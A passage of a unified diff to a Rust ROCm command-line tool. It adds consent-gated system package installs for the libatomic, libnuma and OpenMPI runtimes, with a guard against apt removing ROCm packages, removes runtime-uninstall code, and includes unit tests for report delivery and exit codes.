SDK runtime wheel bundles PyTorch, and vLLM uses it too, so this +/// is invoked both after `rocm install sdk` and during `rocm engines install +/// vllm`. On Linux/WSL, when `libatomic.so.1` is missing it installs it through +/// the system package manager (automatically when no interactive prompt is +/// needed or when `approved`, otherwise it prints the distro-aware plan). Never +/// blocks or fails the install (warn-and-continue). It is a no-op when +/// libatomic is already present. +fn ensure_libatomic_for_torch(approved: bool) { + ensure_torch_runtime_dep( + approved, + &TorchRuntimeDep { + name: "libatomic", + soname: "libatomic.so.1", + reason: "PyTorch's ROCm wheel requires the libatomic runtime (libatomic.so.1), which was not found", + present: rocm_core::openmpi::libatomic_present, + build_plan: rocm_core::openmpi::build_libatomic_install_plan, + }, + ); } -enum RuntimeUninstallConfirmation { - Cancelled, - // `RuntimeUninstallPlan`/`RocmCliConfig` are large; box them so the two - // variants stay a similar size (clippy::large_enum_variant). - Confirmed { - plan: Box, - config: Box, - }, +/// Ensure the real `libnuma` (numactl) runtime that PyTorch's ROCm wheel binds +/// is present. Like [`ensure_libatomic_for_torch`], this is invoked after +/// `rocm install sdk` and during `rocm engines install vllm`. PyTorch's +/// `libc10.so` binds `libnuma.so.1`'s `libnuma_1.2` symbols; the ROCm SDK only +/// bundles numa under a renamed soname with rewritten versions that cannot +/// satisfy it, so the upstream numactl runtime must be installed from the system +/// package manager. On Linux/WSL, when `libnuma.so.1` is missing it installs it +/// automatically when no interactive prompt is needed or when `approved`, +/// otherwise it prints the distro-aware plan. Never blocks or fails the install +/// (warn-and-continue). No-op when libnuma is already present. +fn ensure_libnuma_for_torch(approved: bool) { + ensure_torch_runtime_dep( + approved, + &TorchRuntimeDep { + name: "libnuma", + soname: "libnuma.so.1", + reason: "PyTorch's ROCm wheel requires the system numactl runtime (libnuma.so.1 with libnuma_1.2), which was not found", + present: rocm_core::openmpi::libnuma_present, + build_plan: rocm_core::openmpi::build_libnuma_install_plan, + }, + ); } -/// Runs the confirm-then-revalidate sequence used by an interactive -/// `runtimes uninstall`: waits for the caller-supplied confirmation, then -/// reloads config from disk and re-derives the plan against it, so a state -/// change that happened while the (potentially indefinite) prompt was open -/// cannot be applied against stale data. -fn confirm_and_revalidate_runtime_uninstall( - paths: &AppPaths, - plan: RuntimeUninstallPlan, - confirm: impl FnOnce() -> Result, -) -> Result { - if !confirm()? { - return Ok(RuntimeUninstallConfirmation::Cancelled); - } - let config = RocmCliConfig::load(paths)?; - let plan = revalidate_runtime_uninstall_plan(paths, &config, plan)?; - Ok(RuntimeUninstallConfirmation::Confirmed { - plan: Box::new(plan), - config: Box::new(config), - }) +/// Whether an E2E scenario has asked to skip the torch runtime dependency +/// checks entirely. These checks run a real system package-manager install +/// (`apt-get` or equivalent) whenever a dependency happens to be missing on +/// the host, which is slow, network-dependent, and mutates host state — none +/// of which a PTY scenario testing an unrelated concern (e.g. the download +/// spinner) should depend on. Only active under `e2e-test-hooks`; production +/// builds always run the real check. +#[cfg(feature = "e2e-test-hooks")] +fn torch_runtime_dep_checks_disabled() -> bool { + std::env::var_os("ROCM_CLI_DISABLE_TORCH_RUNTIME_DEP_CHECKS").is_some() } -fn uninstall_runtime( - paths: &AppPaths, - config: &mut RocmCliConfig, - selector: &str, -) -> Result { - let plan = plan_runtime_uninstall(paths, config, selector)?; - apply_runtime_uninstall(paths, config, plan) +#[cfg(not(feature = "e2e-test-hooks"))] +const fn torch_runtime_dep_checks_disabled() -> bool { + false } -fn apply_runtime_uninstall( - paths: &AppPaths, - config: &mut RocmCliConfig, - plan: RuntimeUninstallPlan, -) -> Result { - let RuntimeUninstallPlan { - manifest, - registry_path, - was_active, - clears_default_runtime, - install_root_decision, - } = plan; - - let mut removed_install_root = None; - if install_root_decision.should_remove() && manifest.install_root.exists() { - fs::remove_dir_all(&manifest.install_root).with_context(|| { - format!( - "failed to remove runtime folder {} — the runtime registry entry has not \ - been removed yet, so `rocm runtimes list` will still show this runtime as \ - installed and pointing at this (now possibly partially deleted) folder \ - until the removal succeeds", - manifest.install_root.display() - ) - })?; - removed_install_root = Some(manifest.install_root.clone()); - } - - if registry_path.exists() { - fs::remove_file(®istry_path).with_context(|| { - format!( - "failed to remove runtime registry entry {}", - registry_path.display() - ) - })?; - } - - let mut config_changed = false; - if config - .active_runtime_key - .as_deref() - .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) - { - config.active_runtime_key = None; - config_changed = true; - } - if config - .previous_runtime_key - .as_deref() - .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) - { - config.previous_runtime_key = None; - config_changed = true; - } - if clears_default_runtime { - config.default_runtime_id = None; - config_changed = true; - } - if config - .setup - .therock_venv - .as_ref() - .is_some_and(|path| paths_equivalent(path, &manifest.install_root)) - { - config.setup.therock_venv = None; - config.setup.completed = false; - config.onboarding_dismissed = false; - config_changed = true; +/// Shared control flow behind [`ensure_libatomic_for_torch`] and +/// [`ensure_libnuma_for_torch`]: detect the dependency, print the distro-aware +/// plan, and (when approved or auto-installable) run it via +/// [`run_system_package_install_plan`]. Always warn-and-continue; never fails the +/// caller. No-op on Windows or when the dependency is already present. +fn ensure_torch_runtime_dep(approved: bool, dep: &TorchRuntimeDep) { + if cfg!(windows) { + return; } - if config_changed { - config.save(paths)?; + if torch_runtime_dep_checks_disabled() { + return; } - - if active_runtime_marker_matches(paths, &manifest.runtime_key)? { - let marker_path = active_runtime_marker_path(paths); - if marker_path.exists() { - fs::remove_file(&marker_path).with_context(|| { - format!( - "failed to remove active runtime marker {}", - marker_path.display() - ) - })?; - } + if (dep.present)() { + return; } - Ok(RuntimeUninstallResult { - runtime_id: manifest.runtime_id, - runtime_key: manifest.runtime_key, - registry_path, - removed_install_root, - read_only: manifest.read_only, - manifest_mismatch: matches!(install_root_decision, InstallRootDecision::ManifestMismatch), - was_active, - default_runtime_cleared: clears_default_runtime, - }) -} + let os_release = read_os_release().unwrap_or_default(); + let os_id = parse_os_release_field(&os_release, "ID").unwrap_or_default(); + let id_like = parse_os_release_field(&os_release, "ID_LIKE").unwrap_or_default(); + let plan = (dep.build_plan)(&os_id, &id_like); -fn should_remove_runtime_install_root( - manifest: &therock::InstalledRuntimeManifest, -) -> Result { - if manifest.read_only || manifest.imported_from.is_some() { - return Ok(InstallRootDecision::ReadOnly); + println!("{} setup", dep.name); + println!(" reason: {}", dep.reason); + if let Some(manager) = plan.package_manager.as_deref() { + println!(" package_manager: {manager}"); } - if !local_runtime_manifest_matches(manifest)? { - return Ok(InstallRootDecision::ManifestMismatch); + println!(" detail: {}", plan.reason); + + if !plan.supported { + // The distro is unknown or the dependency ships with the base toolchain; + // nothing actionable to auto-install. + return; } - ensure_runtime_install_root_is_safe_to_remove(&manifest.install_root)?; - Ok(InstallRootDecision::Remove) -} -fn local_runtime_manifest_matches(manifest: &therock::InstalledRuntimeManifest) -> Result { - let local_path = manifest.install_root.join(".rocm-cli-runtime.json"); - if !local_path.is_file() { - return Ok(false); + println!(" commands:"); + for command in &plan.commands { + println!(" {command}"); } - let bytes = fs::read(&local_path) - .with_context(|| format!("failed to read {}", local_path.display()))?; - let local: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", local_path.display()))?; - Ok(local.runtime_key == manifest.runtime_key - && local.runtime_id == manifest.runtime_id - && paths_equivalent(&local.install_root, &manifest.install_root)) -} -fn ensure_runtime_install_root_is_safe_to_remove(path: &Path) -> Result<()> { - if path.as_os_str().is_empty() || path.parent().is_none() || path.file_name().is_none() { - bail!( - "refusing to remove unsafe runtime folder {}", - path.display() + let can_autoinstall = rocm_core::openmpi::can_autoinstall(); + // `escalate_failure` is deliberately ignored here: a missing libatomic/libnuma + // only warns, whatever approved the attempt. + let SystemPackageInstallAction::RunPlan { approval, .. } = + system_package_install_action(approved, can_autoinstall) + else { + for check in &plan.preflight_checks { + println!(" preflight: {check}"); + } + eprintln!( + "warning: {} is required by PyTorch but was not installed automatically", + dep.name ); - } - // Belt and braces: a hand-edited or corrupted registry entry could point - // `install_root` at a protected system location while still carrying a - // matching in-tree `.rocm-cli-runtime.json`, slipping past - // `local_runtime_manifest_matches`. `prune` already refuses these before - // ever calling this function (see storage.rs); check it here too so the - // single source of truth for "may ROCm CLI delete this folder?" refuses - // it for every caller, including a direct `runtimes uninstall `. - if runtime_install_root_is_protected(path) { - bail!( - "refusing to remove runtime folder {} in a protected system location", - path.display() + eprintln!( + "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" ); + return; + }; + + println!(" approval: {approval}"); + match run_system_package_install_plan(&plan) { + Ok(()) => { + if (dep.present)() { + println!(" status: installed"); + } else { + eprintln!( + "warning: {} install commands completed but {} was still not found; verify the package manager output above", + dep.name, dep.soname + ); + } + } + Err(error) => { + eprintln!("warning: {} install failed: {error}", dep.name); + eprintln!( + "warning: continuing; run the commands above manually so PyTorch can load {}", + dep.soname + ); + } } - Ok(()) } -fn active_runtime_marker_matches(paths: &AppPaths, runtime_key: &str) -> Result { - let marker_path = active_runtime_marker_path(paths); - if !marker_path.is_file() { - return Ok(false); +/// Refuse an `apt-get install` step that would remove ROCm/AMDGPU packages. +/// +/// `apt-get install -y` assumes yes for *removals* as well as installs, so a +/// dependency solution that evicts the ROCm stack would otherwise be applied +/// unattended (this runs automatically under `rocm install sdk` whenever root or +/// passwordless sudo is available). Simulating first turns that silent breakage +/// into an actionable error naming every package at risk. +/// +/// Only apt is gated: the dnf/zypper/pacman plans install additive runtime +/// packages and have no equivalent assume-yes removal path. A simulation that +/// cannot be run (apt missing, transient failure) is not treated as a refusal — +/// the real command reports the failure with better context. +fn ensure_apt_install_preserves_rocm(argv: &[String]) -> Result<()> { + let Some(simulate_argv) = rocm_core::openmpi::apt_simulate_argv(argv) else { + return Ok(()); + }; + let (program, args) = simulate_argv + .split_first() + .context("apt simulation has no program to run")?; + let Ok(output) = ProcessCommand::new(program) + .args(args) + .stdin(Stdio::null()) + .output() + else { + return Ok(()); + }; + if !output.status.success() { + return Ok(()); } - let bytes = fs::read(&marker_path) - .with_context(|| format!("failed to read {}", marker_path.display()))?; - let marker: ActiveRuntimeMarker = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", marker_path.display()))?; - Ok(marker.runtime_key.eq_ignore_ascii_case(runtime_key)) -} -fn paths_equivalent(left: &Path, right: &Path) -> bool { - let left = normalize_path_for_compare(left); - let right = normalize_path_for_compare(right); - rocm_core::runtime_paths_equivalent(&left, &right) -} - -fn path_is_same_or_inside(path: &Path, base: &Path) -> bool { - let path = normalize_path_for_compare(path); - let base = normalize_path_for_compare(base); - runtime_path_is_same_or_inside(&path, &base) -} - -fn normalize_path_for_compare(path: &Path) -> PathBuf { - if let Ok(canonical) = path.canonicalize() { - return canonical; - } - if path.is_absolute() { - return path.to_path_buf(); - } - std::env::current_dir().map_or_else(|_| path.to_path_buf(), |cwd| cwd.join(path)) -} - -fn import_runtime_manifest( - paths: &AppPaths, - manifest_path: &Path, - replace: bool, -) -> Result { - let bytes = fs::read(manifest_path) - .with_context(|| format!("failed to read {}", manifest_path.display()))?; - let mut manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", manifest_path.display()))?; - if manifest.runtime_key.trim().is_empty() { - bail!( - "runtime manifest {} has an empty runtime_key", - manifest_path.display() - ); - } - if manifest.runtime_id.trim().is_empty() { - bail!( - "runtime manifest {} has an empty runtime_id", - manifest_path.display() - ); - } - - manifest.read_only = true; - manifest.imported_from = Some( - manifest_path - .canonicalize() - .unwrap_or_else(|_| manifest_path.to_path_buf()), - ); - validate_runtime_manifest_for_activation(&manifest) - .with_context(|| format!("imported runtime `{}` is not usable", manifest.runtime_key))?; - - write_runtime_registry_manifest(paths, &manifest, replace)?; - - Ok(manifest) -} - -#[derive(Debug, Clone)] -struct SdkInstallFinalization { - runtime_key: String, - install_root: PathBuf, - family: String, - previous_runtime_key: Option, -} - -fn print_sdk_install_success(finalized: &SdkInstallFinalization) { - print!("{}", render_sdk_install_success(finalized)); -} - -fn preferred_engine_for_sdk_family(family: &str) -> Option<&'static str> { - let summary = rocm_core::HostGpuSummary { - therock_family: Some(family.to_owned()), - ..rocm_core::HostGpuSummary::default() - }; - preferred_serve_engine_for_host_gpu_summary(&summary) -} - -/// The two unrelated consents `rocm install sdk` can be given. -/// -/// They are separate because they authorize different things and are answerable -/// in different places. Replacing the active default runtime is a decision, and -/// an argv can express it fully. Approving a system-package install means -/// approving `sudo`, which — unless the host is root or has passwordless sudo — -/// needs a human at a terminal to type a password. -/// -/// `--yes` grants both, which is what a user typing it at a terminal means. -/// ROCm CLI's own non-interactive surfaces need only the first: they spawn -/// `rocm` with null stdin, so a sudo password prompt there can never be -/// answered, and treating their approval as covering it would run sudo they -/// cannot complete — and, for the vLLM/OpenMPI plan, abort the engine -/// auto-install that used to warn and continue. -#[derive(Clone, Copy, Debug, PartialEq, Eq)] -struct SdkInstallConsents { - /// Approve replacing whatever runtime is currently the active default, and - /// which flag granted it. The source is carried rather than flattened to a - /// bool because the install log names it: crediting `--yes` on a surface - /// that only ever passed the narrow flag would tell the reader that consent - /// to run `sudo` had been given when it had not. - replace_active_default: therock::SdkInstallConsent, - /// Approve installing required system packages (OpenMPI, libatomic, - /// libnuma) through the system package manager, which means `sudo`. - system_packages: bool, -} - -impl SdkInstallConsents { - const fn resolve(yes: bool, approve_replacing_active_default: bool) -> Self { - let replace_active_default = if yes { - therock::SdkInstallConsent::Preapproved(therock::SdkInstallApprovalSource::AssumeYes) - } else if approve_replacing_active_default { - therock::SdkInstallConsent::Preapproved( - therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault, - ) - } else { - therock::SdkInstallConsent::Ask - }; - Self { - replace_active_default, - system_packages: yes, - } - } -} - -/// What to do with a distro-aware system-package install plan, given the caller's -/// approval and what this host lets us do without a password. -#[derive(Clone, Copy, Debug, PartialEq, Eq)] -enum SystemPackageInstallAction { - /// Print the commands (and the preflight checks) and continue without them. - /// Nothing privileged is run, so nothing can block on a password prompt. - PrintManualCommands, - /// Run the plan. `run_system_package_install_plan` inherits stdin so an - /// interactive `sudo` password prompt can be answered. - RunPlan { - /// The `approval:` line explaining why this was allowed to run. - approval: &'static str, - /// Whether a failed command is an error rather than a warning. Only an - /// explicit approval escalates: the automatic (root/passwordless) path - /// must never let a missing system package fail an unattended install. - escalate_failure: bool, - }, -} - -/// Decide between the two, given whether the *system-package* consent was granted -/// and whether the host can install without prompting. -/// -/// Split out from the two callers below so the decision is testable without a -/// package manager, and so the "approved but no way to answer a password prompt" -/// case has one place to be reasoned about. -const fn system_package_install_action( - approved: bool, - can_autoinstall: bool, -) -> SystemPackageInstallAction { - if !approved && !can_autoinstall { - return SystemPackageInstallAction::PrintManualCommands; - } - SystemPackageInstallAction::RunPlan { - approval: if approved { - "granted by --yes" - } else { - "auto (root or passwordless sudo available)" - }, - escalate_failure: approved, - } -} - -/// Ensure the OpenMPI runtime that vLLM requires is present before the vLLM wheel -/// is installed. On Linux/WSL, when OpenMPI is missing, this installs it through -/// the system package manager. -/// -/// The privileged install runs automatically when it can be performed without an -/// interactive prompt (the process is root, or passwordless `sudo` is available), -/// or when `approved` (the `--yes` flag) is set. Otherwise the distro-aware plan -/// is printed and the caller continues without it. -/// -/// Returns `Ok(())` when OpenMPI is present, was installed, or could not be -/// installed automatically without explicit approval (warn-and-continue). When -/// the user explicitly approved the install with `--yes` and it still fails, the -/// error is propagated so the caller does not silently proceed past a failure the -/// user asked to perform. -fn ensure_openmpi_for_vllm(approved: bool) -> Result<()> { - if cfg!(windows) { - return Ok(()); - } - let status = rocm_core::openmpi::detect_openmpi(); - if status.present { - return Ok(()); - } - - let os_release = read_os_release().unwrap_or_default(); - let os_id = parse_os_release_field(&os_release, "ID").unwrap_or_default(); - let id_like = parse_os_release_field(&os_release, "ID_LIKE").unwrap_or_default(); - let plan = rocm_core::openmpi::build_openmpi_install_plan(&os_id, &id_like); - - println!("openmpi setup"); - println!( - " reason: vLLM requires the OpenMPI runtime (libmpi.so / mpirun), which was not found" - ); - if let Some(manager) = plan.package_manager.as_deref() { - println!(" package_manager: {manager}"); - } - println!(" detail: {}", plan.reason); - - if !plan.supported { - eprintln!( - "warning: could not determine how to install OpenMPI automatically; install it manually so vLLM can load libmpi.so" - ); - return Ok(()); - } - - println!(" commands:"); - for command in &plan.commands { - println!(" {command}"); - } - - let can_autoinstall = rocm_core::openmpi::can_autoinstall(); - let SystemPackageInstallAction::RunPlan { - approval, - escalate_failure, - } = system_package_install_action(approved, can_autoinstall) - else { - for check in &plan.preflight_checks { - println!(" preflight: {check}"); - } - eprintln!("warning: OpenMPI is required by vLLM but was not installed automatically"); - eprintln!( - "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" - ); - return Ok(()); - }; - - println!(" approval: {approval}"); - match run_system_package_install_plan(&plan) { - Ok(()) => { - if rocm_core::openmpi::detect_openmpi().present { - println!(" status: installed"); - } else { - eprintln!( - "warning: OpenMPI install commands completed but the runtime (libmpi.so / mpirun) was still not found; verify the package manager output above" - ); - } - Ok(()) - } - Err(error) => { - // An explicit `--yes` is a deliberate request to perform the install; - // surface the failure so the vLLM install does not silently proceed - // past something the user asked for. The auto (unapproved) path keeps - // the warn-and-continue behavior so a missing OpenMPI never blocks an - // otherwise-unattended install. - // - // "Surface" is the exact claim, and it is not the same as failing the - // command: this error propagates out of the engine auto-install, and - // `finish_sdk_install` routes it through - // `engine_auto_install_failure_is_fatal`, which matches only - // `UnusableRuntimeAfterInstall`. So `rocm install sdk` still prints - // the failure and exits 0. Said here because the downgrade happens - // far away and reads as a non-zero exit from this site alone. - if escalate_failure { - return Err(error.context( - "OpenMPI install approved with --yes failed; rerun the commands above manually or retry without --yes to continue without OpenMPI", - )); - } - eprintln!("warning: OpenMPI install failed: {error}"); - eprintln!( - "warning: continuing vLLM install; run the commands above manually so vLLM can load libmpi.so" - ); - Ok(()) - } - } -} - -/// Static description of a PyTorch runtime library dependency that may need to -/// be installed from the system package manager. Drives [`ensure_torch_runtime_dep`] -/// so libatomic/libnuma (and any future additions) share one control flow. -struct TorchRuntimeDep { - /// Short label used in the setup header and warnings (e.g. `"libatomic"`). - name: &'static str, - /// Runtime soname referenced in status messages (e.g. `"libatomic.so.1"`). - soname: &'static str, - /// `reason:` line explaining why the dependency is required. - reason: &'static str, - /// Detection probe: returns whether the dependency is already loadable. - present: fn() -> bool, - /// Builds the distro-aware install plan from the parsed os-release fields. - build_plan: fn(&str, &str) -> rocm_core::openmpi::SystemPackageInstallPlan, -} - -/// Ensure the `libatomic` runtime that PyTorch's ROCm wheel links against is -/// present. The SDK runtime wheel bundles PyTorch, and vLLM uses it too, so this -/// is invoked both after `rocm install sdk` and during `rocm engines install -/// vllm`. On Linux/WSL, when `libatomic.so.1` is missing it installs it through -/// the system package manager (automatically when no interactive prompt is -/// needed or when `approved`, otherwise it prints the distro-aware plan). Never -/// blocks or fails the install (warn-and-continue). It is a no-op when -/// libatomic is already present. -fn ensure_libatomic_for_torch(approved: bool) { - ensure_torch_runtime_dep( - approved, - &TorchRuntimeDep { - name: "libatomic", - soname: "libatomic.so.1", - reason: "PyTorch's ROCm wheel requires the libatomic runtime (libatomic.so.1), which was not found", - present: rocm_core::openmpi::libatomic_present, - build_plan: rocm_core::openmpi::build_libatomic_install_plan, - }, - ); -} - -/// Ensure the real `libnuma` (numactl) runtime that PyTorch's ROCm wheel binds -/// is present. Like [`ensure_libatomic_for_torch`], this is invoked after -/// `rocm install sdk` and during `rocm engines install vllm`. PyTorch's -/// `libc10.so` binds `libnuma.so.1`'s `libnuma_1.2` symbols; the ROCm SDK only -/// bundles numa under a renamed soname with rewritten versions that cannot -/// satisfy it, so the upstream numactl runtime must be installed from the system -/// package manager. On Linux/WSL, when `libnuma.so.1` is missing it installs it -/// automatically when no interactive prompt is needed or when `approved`, -/// otherwise it prints the distro-aware plan. Never blocks or fails the install -/// (warn-and-continue). No-op when libnuma is already present. -fn ensure_libnuma_for_torch(approved: bool) { - ensure_torch_runtime_dep( - approved, - &TorchRuntimeDep { - name: "libnuma", - soname: "libnuma.so.1", - reason: "PyTorch's ROCm wheel requires the system numactl runtime (libnuma.so.1 with libnuma_1.2), which was not found", - present: rocm_core::openmpi::libnuma_present, - build_plan: rocm_core::openmpi::build_libnuma_install_plan, - }, - ); -} - -/// Whether an E2E scenario has asked to skip the torch runtime dependency -/// checks entirely. These checks run a real system package-manager install -/// (`apt-get` or equivalent) whenever a dependency happens to be missing on -/// the host, which is slow, network-dependent, and mutates host state — none -/// of which a PTY scenario testing an unrelated concern (e.g. the download -/// spinner) should depend on. Only active under `e2e-test-hooks`; production -/// builds always run the real check. -#[cfg(feature = "e2e-test-hooks")] -fn torch_runtime_dep_checks_disabled() -> bool { - std::env::var_os("ROCM_CLI_DISABLE_TORCH_RUNTIME_DEP_CHECKS").is_some() -} - -#[cfg(not(feature = "e2e-test-hooks"))] -const fn torch_runtime_dep_checks_disabled() -> bool { - false -} - -/// Shared control flow behind [`ensure_libatomic_for_torch`] and -/// [`ensure_libnuma_for_torch`]: detect the dependency, print the distro-aware -/// plan, and (when approved or auto-installable) run it via -/// [`run_system_package_install_plan`]. Always warn-and-continue; never fails the -/// caller. No-op on Windows or when the dependency is already present. -fn ensure_torch_runtime_dep(approved: bool, dep: &TorchRuntimeDep) { - if cfg!(windows) { - return; - } - if torch_runtime_dep_checks_disabled() { - return; - } - if (dep.present)() { - return; - } - - let os_release = read_os_release().unwrap_or_default(); - let os_id = parse_os_release_field(&os_release, "ID").unwrap_or_default(); - let id_like = parse_os_release_field(&os_release, "ID_LIKE").unwrap_or_default(); - let plan = (dep.build_plan)(&os_id, &id_like); - - println!("{} setup", dep.name); - println!(" reason: {}", dep.reason); - if let Some(manager) = plan.package_manager.as_deref() { - println!(" package_manager: {manager}"); - } - println!(" detail: {}", plan.reason); - - if !plan.supported { - // The distro is unknown or the dependency ships with the base toolchain; - // nothing actionable to auto-install. - return; - } - - println!(" commands:"); - for command in &plan.commands { - println!(" {command}"); - } - - let can_autoinstall = rocm_core::openmpi::can_autoinstall(); - // `escalate_failure` is deliberately ignored here: a missing libatomic/libnuma - // only warns, whatever approved the attempt. - let SystemPackageInstallAction::RunPlan { approval, .. } = - system_package_install_action(approved, can_autoinstall) - else { - for check in &plan.preflight_checks { - println!(" preflight: {check}"); - } - eprintln!( - "warning: {} is required by PyTorch but was not installed automatically", - dep.name - ); - eprintln!( - "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" - ); - return; - }; - - println!(" approval: {approval}"); - match run_system_package_install_plan(&plan) { - Ok(()) => { - if (dep.present)() { - println!(" status: installed"); - } else { - eprintln!( - "warning: {} install commands completed but {} was still not found; verify the package manager output above", - dep.name, dep.soname - ); - } - } - Err(error) => { - eprintln!("warning: {} install failed: {error}", dep.name); - eprintln!( - "warning: continuing; run the commands above manually so PyTorch can load {}", - dep.soname - ); - } - } -} - -/// Refuse an `apt-get install` step that would remove ROCm/AMDGPU packages. -/// -/// `apt-get install -y` assumes yes for *removals* as well as installs, so a -/// dependency solution that evicts the ROCm stack would otherwise be applied -/// unattended (this runs automatically under `rocm install sdk` whenever root or -/// passwordless sudo is available). Simulating first turns that silent breakage -/// into an actionable error naming every package at risk. -/// -/// Only apt is gated: the dnf/zypper/pacman plans install additive runtime -/// packages and have no equivalent assume-yes removal path. A simulation that -/// cannot be run (apt missing, transient failure) is not treated as a refusal — -/// the real command reports the failure with better context. -fn ensure_apt_install_preserves_rocm(argv: &[String]) -> Result<()> { - let Some(simulate_argv) = rocm_core::openmpi::apt_simulate_argv(argv) else { - return Ok(()); - }; - let (program, args) = simulate_argv - .split_first() - .context("apt simulation has no program to run")?; - let Ok(output) = ProcessCommand::new(program) - .args(args) - .stdin(Stdio::null()) - .output() - else { - return Ok(()); - }; - if !output.status.success() { - return Ok(()); - } - - let removals = - rocm_core::openmpi::parse_apt_simulate_removals(&String::from_utf8_lossy(&output.stdout)); - let protected: Vec<&String> = removals - .iter() - .filter(|package| rocm_core::openmpi::is_protected_rocm_package(package)) - .collect(); - if protected.is_empty() { - return Ok(()); - } + let removals = + rocm_core::openmpi::parse_apt_simulate_removals(&String::from_utf8_lossy(&output.stdout)); + let protected: Vec<&String> = removals + .iter() + .filter(|package| rocm_core::openmpi::is_protected_rocm_package(package)) + .collect(); + if protected.is_empty() { + return Ok(()); + } let rendered = |packages: &[&String]| { packages @@ -22981,5176 +19767,3171 @@ fn treat_as_natural_language(args: &[String]) -> bool { "comfyui", "comfy", "services", - "remote", - "automations", - "config", - "logs", - "daemon", - "dash", - "bench", - "uninstall", - "help", - "--help", - "-h", - "version", - "--version", - "-V", - ]; - - !args.is_empty() && !args[0].starts_with('-') && !STRUCTURED.contains(&args[0].as_str()) -} - -#[cfg(test)] -mod tests { - use std::cell::RefCell; - - use rocm_core::browser::Opener; - use rocm_core::report_delivery::Delivery; - - use super::perform_delivery; - - /// An opener that records rather than opens, and can be told to fail. - /// - /// The whole reason the opener is a trait: the real one spawns a browser - /// against whatever desktop exists, so neither "it was opened" nor "it was - /// deliberately not opened" can be observed in CI without this. - struct RecordingOpener { - opened: RefCell>, - fails: bool, - } - - impl RecordingOpener { - fn working() -> Self { - Self { - opened: RefCell::new(Vec::new()), - fails: false, - } - } - fn broken() -> Self { - Self { - opened: RefCell::new(Vec::new()), - fails: true, - } - } - fn opened(&self) -> Vec { - self.opened.borrow().clone() - } - } - - impl Opener for RecordingOpener { - fn open(&self, url: &str) -> anyhow::Result<()> { - self.opened.borrow_mut().push(url.to_owned()); - if self.fails { - anyhow::bail!("no browser here"); - } - Ok(()) - } - } - - /// Nothing is opened unless the decision was to open. - /// - /// The assertion that matters is on the opener, not on the wording. A - /// message saying no browser was started is satisfied by any string; an - /// opener that recorded nothing is the actual claim. - #[test] - fn a_delivery_that_is_not_an_open_never_reaches_the_browser() { - let delivery = Delivery::Show("mailto:nobody@example.invalid".to_owned()); - let opener = RecordingOpener::working(); - let said = perform_delivery(&delivery, &opener); - - assert!( - opener.opened().is_empty(), - "a mail client was started for {delivery:?}, which is the one thing this path must \ - not do on a machine the user is holding over SSH" - ); - assert!( - said.contains("Nothing has been sent"), - "the user has to be told nothing left the machine: {said}" - ); - // A machine in this state often cannot act on a `mailto:` at all, so - // the address has to be readable on its own, not only inside the link. - assert!( - said.contains(rocm_core::report_delivery::DESTINATION), - "a user who has to send the mail by hand needs the address: {said}" - ); - } - - /// Opening is what an open decision does, and the user is told it is not - /// filed yet. - #[test] - fn an_open_decision_reaches_the_browser_and_is_still_not_a_send() { - let url = "https://example.invalid/new?body=x"; - let opener = RecordingOpener::working(); - let said = perform_delivery(&Delivery::Open(url.to_owned()), &opener); - - assert_eq!( - opener.opened(), - vec![url.to_owned()], - "premise failed: an open decision must reach the opener, otherwise the cases above \ - are satisfied by never opening anything" - ); - assert!( - said.contains("only when you send it"), - "opening a prefilled mail is not sending it, and the user has to know which one \ - happened: {said}" - ); - } - - /// A browser that will not start still leaves the user the link. - #[test] - fn a_browser_that_fails_to_start_still_hands_the_user_the_link() { - let url = "https://example.invalid/new?body=x"; - let said = perform_delivery(&Delivery::Open(url.to_owned()), &RecordingOpener::broken()); - - assert!( - said.contains(url), - "the link is the whole of what this offers, so a failed browser must not lose it: \ - {said}" - ); - assert!(said.contains("Nothing has been sent")); - } - - /// A diagnosis report holding exactly one finding. - /// - /// `has_match` is passed independently of the score on purpose: the point - /// under test is that the two are read together, so a fixture that derived - /// one from the other could not express the case being guarded against. - fn report_of( - has_match: bool, - id: &str, - score: i32, - fix: Option, - ) -> rocm_core::DiagnoseReport { - rocm_core::DiagnoseReport { - has_match, - matched: vec![rocm_core::Diagnosis { - id: id.to_owned(), - title: "under test".to_owned(), - score, - evidence: Vec::new(), - fix, - }], - min_score_for_match: 50, - high_confidence_threshold: 80, - route_when_no_match: rocm_core::diagnose::Route { - target: String::new(), - url: String::new(), - }, - out_of_scope: None, - model: None, - } - } - - /// The entry a report names is one the diagnosis established, not merely - /// the strongest signal it saw. - /// - /// This is a wiring test, not a logic one. `established_entry` is correct in - /// itself; what it could get wrong is being handed `matched.first()` - /// unconditionally. Several checkers open with a nonzero score for a - /// situation that is only potentially relevant, so a healthy machine - /// produces a `matched` list full of sub-threshold entries — and a report - /// naming one of those would look like an established cause to every - /// counter downstream, with nothing able to tell the difference afterwards. - #[test] - fn a_report_names_an_established_cause_and_not_the_loudest_weak_signal() { - let weak_only = report_of(false, "fix-10-container", 25, None); - assert_eq!( - established_entry(&weak_only), - (None, false), - "nothing cleared the bar, so the report has no entry to name" - ); - - // Non-vacuity: an established cause must come through, or the assertion - // above is satisfied by never naming anything. - let established = report_of(true, "fix-6-path", 90, Some(rocm_core::Fix::default())); - assert_eq!( - established_entry(&established), - (Some("fix-6-path"), true), - "an established cause with a fix is exactly what a report is for" - ); - } - use std::process::ExitCode; - - /// `Ok(())` must map to a clean exit so `rocm`'s successful commands don't - /// regress to a nonzero code. - #[test] - fn exit_code_for_ok_is_success() { - assert_eq!(super::exit_code_for(Ok(())), ExitCode::SUCCESS); - } - - /// `fix()`'s marker error must carry its exact code through, since that - /// code (2/3/4/5) is part of `rocm fix`'s documented contract. - #[test] - fn exit_code_for_fix_exit_code_carries_the_code() { - let err = anyhow::Error::new(super::FixExitCode(3)); - assert_eq!(super::exit_code_for(Err(err)), ExitCode::from(3)); - } - - /// `ClapExitCode` exists so a usage/parse error can reach `main()` through - /// the ordinary return path (letting `_log_guard` drop) instead of - /// `clap::Error::exit()` calling `std::process::exit` 